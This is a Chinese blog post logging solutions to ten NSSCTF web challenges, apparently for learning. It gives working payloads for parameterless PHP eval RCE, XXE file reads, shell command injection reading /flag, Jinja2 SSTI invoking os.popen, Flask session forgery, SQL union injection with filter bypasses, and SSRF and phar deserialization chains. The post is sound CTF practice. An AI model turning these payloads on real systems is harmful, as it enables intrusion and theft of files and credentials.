NSSCTF web 刷题记录1


前言

今天是2023.9.3,大二开学前的最后一天。老实说ctf的功力还是不太够做的题目太少,新学期新气象。不可急于求成,稳扎稳打,把能利用的时间用来提升web实力。


题目

[GXYCTF 2019]禁止套娃

打开题目,直接扫一下目录
发现是存在git泄露参考文章

在这里插入图片描述然后使用专门的工具Githack(下载地址
打开终端,运行python(运行后要访问,/.git/才能有结果)

在这里插入图片描述源代码

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

分析一下
第一个if语句禁用了一些php伪协议
第二个if语句很明显是无参rce的标志,一般代码为

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
}

第三个if语句是禁用我们要rce的一些函数,比如phpinfo()

所以rce的关键是无参

方法一

使用session_start()+session_id()读取文件(php<7)

payload

?exp=show_source(session_id(session_start())); 
Cookie: PHPSESSID=flag.php

得到flag

在这里插入图片描述

方法二

php函数直接读取文件

先读取数组,查看flag在第几个
payload

?exp=print_r(scandir(current(localeconv())));

在这里插入图片描述
发现是第三个,那么我们可以先倒序再读取第二个

?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

即可得到flag

[NCTF 2019]Fake XML cookbook

打开题目,根据提示应该不是sql注入
随便输入然后bp抓包,发现是xml格式的登录

在这里插入图片描述联想到XML中存在的XXE漏洞
payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///etc/passwd">
  ]>
<user><username>&admin;</username><password>1</password></user>

在这里插入图片描述修改下命令,直接得到flag

在这里插入图片描述

[NSSRound#7 Team]ec_RCE

源代码

 <!-- A EZ RCE IN REALWORLD _ FROM CHINA.TW -->
<!-- By 探姬 -->
<?PHP
    
    if(!isset($_POST["action"]) && !isset($_POST["data"]))
        show_source(__FILE__);

    putenv('LANG=zh_TW.utf8'); 

    $action = $_POST["action"];
    $data = "'".$_POST["data"]."'";

    $output = shell_exec("/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar $action $data");
    echo $output;    
?> 

分析一下,有两个POST参数可控,然后出现shell_exec()函数
它的作用:将字符串作为OS命令执行,需要输出执行结果,且输出全部的内容。
payload

action=||&data='cat /flag'
或者
action=;cat /flag&data=

得到flag

[NCTF 2018]Flask PLUS

打开题目,在url输入{{7*7}}
在这里插入图片描述发现存在ssti漏洞

payload

{{lipsum.__globals__['o''s']['pop''en']('ls /').read()}}

在这里插入图片描述
然后得到flag
在这里插入图片描述

[NSSRound#13 Basic]flask?jwt?

打开题目,想注册admin发现不行(暗示很明显了)
那么我们随便注册一个登陆进去,想拿flag发现不是admin
在这里插入图片描述
猜测这里考点是session伪造
我们在忘记密码的页面找到密钥

在这里插入图片描述然后利用工具flask-session-cookie
先解密

python flask_session_cookie_manager3.py decode -s "th3f1askisfunny" -c ".eJwlzjsOwjAMANC7ZGaI48SOe5nK8UewtnRC3J1KrG96n7LnEeezbO_jikfZX162gmswavTR0k2H0JIq3o0VPZhVeoVkCLyVpyO5VA2WvAXIl3MjcJuVwkiMcZmiVkGqYp4NQyjH8hFIM6F7qC2CCRiu3Gu5I9cZx3_TyvcH8tkwDA.ZPnLwg.GAgeK3Ru7jXj9-2no9xRCYCkhvA"

得到

{'_fresh': True, '_id': '3b573ae452fdca596b909d4c7a3de77a9401f71e309d78d36d90ae79fe3016dbd7261dc806ec69c73bca3a093609cdf23e96f5bd5e368f14deacb61813eda740', '_user_id': '2'}

那么我们想伪造admin的话,猜测_user_id: 1
加密一下

python flask_session_cookie_manager3.py encode -s "th3f1askisfunny" -t "{'_fresh': True, '_id': '3b573ae452fdca596b909d4c7a3de77a9401f71e309d78d36d90ae79fe3016dbd7261dc806ec69c73bca3a093609cdf23e96f5bd5e368f14deacb61813eda740', '_user_id': '1'}"

得到加密后字符串,回到拿flag页面bp抓包
修改session得到flag

在这里插入图片描述

[SCTF 2021]loginme

下载题目附件,发现是go语言
main.go

package main

import (
	"html/template"
	"loginme/middleware"
	"loginme/route"
	"loginme/templates"

	"github.com/gin-gonic/gin"
)

func main() {
	gin.SetMode(gin.ReleaseMode)  //将 Gin 框架的运行模式设置为发布模式
	r := gin.Default()  //使用 Gin 框架时创建一个默认的路由引擎实例的代码
	templ := template.Must(template.New("").ParseFS(templates.Templates, "*.tmpl"))  模板解析
	r.SetHTMLTemplate(templ)

	r.Use(gin.Logger())
	r.Use(gin.Recovery())
	authorized := r.Group("/admin")  //创建一个新的路由名为admin
	authorized.Use(middleware.LocalRequired())  //调用middleware.LocalRequired()方法,其实是waf
	{
		authorized.GET("/index", route.Login)  //定义了一个在 "/admin/index" 路径上的 GET 请求的路由
	}

	r.GET("/", route.Index)
	r.Run(":9999")
}

既然调用了middleware.LocalRequired()
那么我们看一下middleware.go

package middleware

import (
	"github.com/gin-gonic/gin"
)

func LocalRequired() gin.HandlerFunc {
	return func(c *gin.Context) {
		if c.GetHeader("x-forwarded-for") != "" || c.GetHeader("x-client-ip") != "" {
			c.AbortWithStatus(403)
			return
		}
		ip := c.ClientIP()
		if ip == "127.0.0.1" {
			c.Next()
		} else {
			c.AbortWithStatus(401)
		}
	}
}

简单分析一下,方法禁用了x-forwarded-forx-client-ip
然后检测是否为127.0.0.1,那么我们可以用X-Real-IP绕过

再回到源码,继续看route.Login具体干什么
(这里截取有用部分)

func Login(c *gin.Context) {
	idString, flag := c.GetQuery("id")  //通过调用 c.GetQuery("id") 查询参数并将返回的值赋值给 idString 和 flag
	if !flag {
		idString = "1"
	}
	id, err := strconv.Atoi(idString)
	if err != nil {
		id = 1
	}
	TargetUser := structs.Admin  //一个结构体
	for _, user := range structs.Users {  //循环遍历 structs.Users 切片,在其中查找与给定 id 值匹配的用户,并将找到的用户赋值给 TargetUser 变量
		if user.Id == id {
			TargetUser = user
		}
	}

	age := TargetUser.Age  //age := TargetUser.Age 这行代码将从 TargetUser 中获取 Age 字段的值,并将其赋值给 age 变量。
	if age == "" {
		age, flag = c.GetQuery("age")
		if !flag {
			age = "forever 18 (Tell me the age)"
		}
	}

	if err != nil {
		c.AbortWithError(500, err)
	}

	html := fmt.Sprintf(templates.AdminIndexTemplateHtml, age)  //格式化字符串并赋值给新串html
	if err != nil {
		c.AbortWithError(500, err)
	}

	tmpl, err := template.New("admin_index").Parse(html)  //Parse()方法用来解析、评估模板中需要执行的action,其中需要评估的部分都使用{{}}包围,并将评估后(解析后)的结果赋值给tmpl
	if err != nil {
		c.AbortWithError(500, err)
	}

	tmpl.Execute(c.Writer, TargetUser)
}

从这里就可以看到突破口,首先是TargetUser := structs.Admin会创建结构体,然后从 TargetUser 中获取 Age 字段的值,赋值给html,最后Parse()方法解析。

具体思路就是go语言模板渲染支持传入一个结构体的实例来渲染它的字段,就有可能造成信息泄露,而在go语言中使用的是{{.name}}代表要应用的对象

我们接着看下结构体structs.go,发现思路正确
在这里插入图片描述
payload

?id=0&age={{.Password}}

我们bp抓包,伪造ip和GET上传参数
得到flag
在这里插入图片描述

[网鼎杯 2018]Fakebook

打开题目,先dirsearch扫一下目录
发现有robots.txt
在这里插入图片描述访问一下,发现存在源码泄露
在这里插入图片描述源码

<?php
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

这里发现isValidBlog(),有正则匹配(我说怎么填个1不行)
那么回去注册界面,随便注册一个
成功进入,此时发现有GET传参参数no,试试?no=1',发现存在sql注入漏洞
我们先查询下字段数

?no=1 order by 5 --+

发现测试到5的时候报错
在这里插入图片描述说明字段数为4
然后用联合查询注入,发现union select被禁了
这里尝试union/**/select发现可以绕过
爆库名

?no=-1 union/**/select 1,database(),3,4 --+

在这里插入图片描述爆表名

?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema = 'fakebook' --+

在这里插入图片描述爆列名

?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name = 'users' --+

在这里插入图片描述查询数据,结果发现没有flag
并且还有一串以序列化格式存在的字符串,且在后面发现其报错是Trying to get property of non-object(正在尝试获取非对象的属性)就是要让我们传对象,且爆出了路径,所以可能在这里进行了反序列化

在这里插入图片描述回想到扫目录里存在./flag.php
同时 curl存在ssrf,可以使用file://协议读取文件内容

构造exp

<?php
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "file:///var/www/html/flag.php";

}
echo serialize(new UserInfo());

因为我们还是要先查询,所以将序列化后的字符串添加到查询语句里
payload

?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:0:"";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' --+

在这里插入图片描述然后base64解码一下得到flag
在这里插入图片描述

[CSAWQual 2019]Unagi

打开题目,发现有上传文件功能
并且给出xml样例
在这里插入图片描述发现题目已经告诉我们flag位置
在这里插入图片描述

我们可以恶意上传xml文件去读取flag
exp

<?xml version='1.0'?>
<!DOCTYPE users [
	<!ENTITY xxe SYSTEM "file:///flag">
]>
<users>
<user>
<username>alice</username>
<password>passwd1</password>
<name>Alice</name>
<email>alice@fakesite.com</email>
<group>CSAW2019</group>
</user>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite.com</email>
<group>CSAW2019</group>
<intro>&xxe;</intro>
</user>
</users>

注意下,要记得引用&xxe,不然不会回显flag
上传后发现有waf
在这里插入图片描述那么我们可以编码绕过
打开kali,输入

iconv -f UTF-8 -t UTF-16BE 1.xml > 2.xml

然后将新得到的文件上传,得到flag
在这里插入图片描述

[MoeCTF 2022]Sqlmap_boy

打开题目,发现是登录框并且不给注册
查看下源码,有sql后台查询语句

$sql = 'select username,password from users where username="'.$username.'" && password="'.$password.'";';

分析一下,闭合方式为双引号闭合
那么我们试试万能语句

admin" or 1#

发现成功进入
在这里插入图片描述然后就是常规注入
先查询一下字段

?id=-1' union select 1,2,3 --+

发现字段数为3
爆库名

?id=-1' union select 1,2,database() --+

爆表名

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'moectf' --+

爆列名

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'flag' --+

查询数据

?id=-1' union select 1,2,group_concat(flAg) from flag --+

得到flag
在这里插入图片描述

[SWPU 2018]SimplePHP

打开题目,发现有查看文件和上传文件的功能
我们读取下file.php
在这里插入图片描述再分别读取下
function.php源码

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?> 

简单分析一下,就是对上传文件进行检测,白名单为array("gif","jpeg","jpg","png")

class.php源码

 <?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?> 

出现反序列化,然后结合题目有文件上传功能,猜测考点是phar反序列化
pop链子

C1e4r.__destruct() --> Show.__toString() --> Test.__get() --> Test.get() --> Test.file_get()

exp

<?php
class C1e4r
{
    public $test;
    public $str;
}

class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;
}

$a=new C1e4r();
$b=new Show();
$c=new Test();
$a->str=$b;
$b->str['str']=$c;
$c->params['source'] = "/var/www/html/f1ag.php";
echo serialize($a);

$phar = new Phar("hacker.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?> 

将生成的phar文件修改下后缀为jpg上传
然后访问./upload查看上传后的文件名
在这里插入图片描述然后在查看文件的地方用phar://读取
payload

?file=phar://upload/db82217ea3f3df41dad4352edeee28cd.jpg

在这里插入图片描述解码一下得到flag

在这里插入图片描述


总结

今天是九月十二号,刷题记录1正式完结,总计十道题。感慨还有好多好多页题目等着我刷,坚持就是胜利,毕竟接触ctf后耐心是必须要有的。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

_rev1ve

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值